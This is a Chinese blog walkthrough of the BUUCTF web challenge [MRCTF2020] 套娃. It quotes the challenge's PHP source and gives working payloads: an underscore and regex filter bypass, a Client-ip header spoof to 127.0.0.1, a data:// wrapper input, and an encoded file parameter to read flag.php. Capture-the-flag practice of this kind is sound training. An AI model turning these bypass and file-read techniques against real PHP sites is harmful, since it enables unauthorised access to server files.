BUUCTF之[MRCTF2020]套娃 --- 文件包含漏洞

最新推荐文章于 2023-09-19 21:06:52 发布
最新推荐文章于 2023-09-19 21:06:52 发布
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分类专栏： Classical CTF-WEB CTF-WEB-文件漏洞 文章标签： php 正则表达式 web 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_44632787/article/details/118276925
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BUUCTF之[MRCTF2020]套娃

题目
在这里插入图片描述

发现什么都没有，于是鼠标右键查看一下提示。
在这里插入图片描述

可以看到PHP代码

<?php
//1st
$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}
?>

首先这里需要了解一下PHP的一些特性：PHP查询字符串在解析的过程中会将某些字符删除或用下划线代替

对于第一个if：它限制你传递参数的时候不能有下划线_和%5f（其中%5f解密后就是下划线_）

if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 )

第二个if有几个限制：

  • 需要传递一个参数b_u_p_t（但是这个参数是有下划线的_）
  • b_u_p_t值不能完全等于23333
  • b_u_p_t值的开头必须是23333 正则表达式的^
  • b_u_p_t值的结尾也需要是23333 正则表达式的$
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t']))

所以这里的payload可以为以下的其中一个都可以（其中的%0a是换行符），在Hackbar下：

  • ?b%20u%20p%20t=23333%0a
  • ?b u p t=23333%0a
  • ?b.u.p.t=23333%0a

这里的%20、空格和.都会被PHP给替换成下划线_，进而达成绕过这个waf。但是让我觉得奇怪的是[这个符号没有被替换成下划线_。在这里被卡住了很久…

在这里插入图片描述
在这里插入图片描述

一般到达这里的时候会首先想到改一下请求头的X-Forwarded-For或Client-ip。但是现在先不急，先鼠标右键查看一下源码。发现JSFuck加密的信息：

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在这里插入图片描述
在这里插入图片描述

secrettw.php的PHP代码：

<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>

总的来说这里有3个重要的步骤：

  1. 设置IP地址为：127.0.0.1
  2. 利用data伪协议，内容为：todat is a happy day
  3. 传递一个file参数来显示flag.php，但是这个flag是经过change加密的

首先第一步：需要修改请求头的IP地址。但是这题不知道为什么我用X-Forwarded-For的时候不能绕过，但是Client-ip可以。

Client-ip: 127.0.0.1

由于我的Hackbar里没有可以修改请求头的功能，所以我这里用到了火狐浏览器的Modify Headers插件。如果你的Hackbar也是没有修改请求头的功能的话，可以看这里火狐浏览器安装Modify Headers ----------- 修改请求头插件

第二步：利用PHP的data伪协议

2333=data:text/plain,todat is a happy day

第三步：传递一个file参数来显示flag.php，但是这个flag是经过change加密的

function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}

这里的加密过程很简单，想要解密的话只需要将+改成-即可

$re .= chr ( ord ($v[$i]) + $i*2 );

把这里的改成

$re .= chr ( ord ($v[$i]) - $i*2 );

但是我更喜欢用的是Python的代码，所以这里添上Python3的代码：

from base64 import b64encode,b64decode

flag = "flag.php"
cipher = ""
i = 0
for x in flag:
    cipher = cipher + chr(ord(x) - i*2)
    i = i + 1

result = b64encode(cipher.encode())
print(result)

运行上面的代码得到结果：ZmpdYSZmXGI=
在这里插入图片描述
所以第三步的payload为：file=ZmpdYSZmXGI=

结合上面的三个步骤，可以得到总的payload：?2333=data:text/plain,todat is a happy day&file=ZmpdYSZmXGI=
在这里插入图片描述
在这里插入图片描述

参考链接

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